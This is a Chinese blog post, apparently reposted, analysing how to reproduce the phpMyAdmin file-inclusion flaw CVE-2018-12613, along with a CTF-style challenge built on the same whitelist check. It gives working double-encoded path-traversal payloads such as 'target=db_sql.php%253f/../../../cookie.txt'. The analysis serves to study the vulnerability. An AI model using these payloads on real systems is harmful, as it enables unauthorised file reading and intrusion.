复现 CVE-2018-12613 的一些思考,关于文件包含路径的问题
/index.php 第 55 行
$target_blacklist = array (
'import.php', 'export.php'
);
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
传入参数 target 需要满足
checkPageValidity() 函数
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
第一个返回 True 的地方,直接将 page 与 whitelist 比较,传入的必须是白名单里的文件名,无法绕过
if (in_array($page, $whitelist)) {
return true;
}
第二个返回 True 的地方,mb_strpos($x, $y) 函数查找 $y 在 $x 中首次出现的位置。mb_substr($str, $start, $length) 函数从 $str 中,截取从 $start 位置开始,长度为 $length 的字符串。
但是在这里如果直接构造 payload : ?target=db_sql.php?/../../../cookie.txt
并不能跨路径包含,? 后面的字符串会被当做传入 db_sql.php 的参数,这就要利用后面的 urldecode 了
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
第三个返回 True 的地方,可以利用双重编码绕过,将 ? 经过两次编码 %253f 就可以绕过白名单验证。%253f 传入时,首先会被自动解码一次,变成 %3f,然后urldecode() 再解码一次,就变成了 ?
此时的 payload : ?target=db_sql.php%253f/../../../cookie.txt
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
include ‘db_sql.php%253f/../../../cookie.txt‘
为什么只会包含 cookie.txt 而不会包含 db_sql.php
传入 db_sql.php%253f/../../../cookie.txt
为什么会在 in_array($_page, $whitelist)
处返回 True
如图,z.php 中 include 两个 ../ 可以包含,y.php 中一个 include 也可以包含
在 php 的 include 中,include ‘hint.php?/../cookie.txt‘;
会报错,include ‘hint.php%3f/../cookie.txt‘;
不会报错,且可以成功包含
在 include 中,举个例子,假设 x.php
代码包含 include ‘1source.phps/../cookie.txt‘;
,假设 1source.phps
不存在,那么这个文件包含等同于 : 在 1source.phps
文件夹目录下的上一级中的 cookie.txt
,也就是和 x.php
在同一目录下的 cookie.txt
,如果 1source.phps
存在,并且它是一个文件,那么肯定会报错,如果它是一个文件夹,也会成功包含 cookie.txt
。如果变为 include ‘1source.phps/./cookie.txt‘;
,道理和上面相同
代码如下 :
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
file=hint.php
,在第一个 in_array
处会返回 true,然后直接包含 hint.php
file=hint.php?/../cookie.txt
,在第二个 in_array
处会返回 true,第二个 in_array
中的 _page
为 hint.php
,然后包含 hint.php?/../cookie.txt
,但是这里的 ?
起到传递参数的作用而不是破坏路径file=hint.php%253f/../cookie.txt
,在第三个 in_array
处会返回 true ,第三个 in_array
中的 _page
为 hint.php
,然后包含 hint.php%3f/../cookie.txt
,这里的 %3f
即 ?
,破坏了路径,前面部分的路径不存在,可以包含后面的文件原文:https://www.cnblogs.com/peri0d/p/11508866.html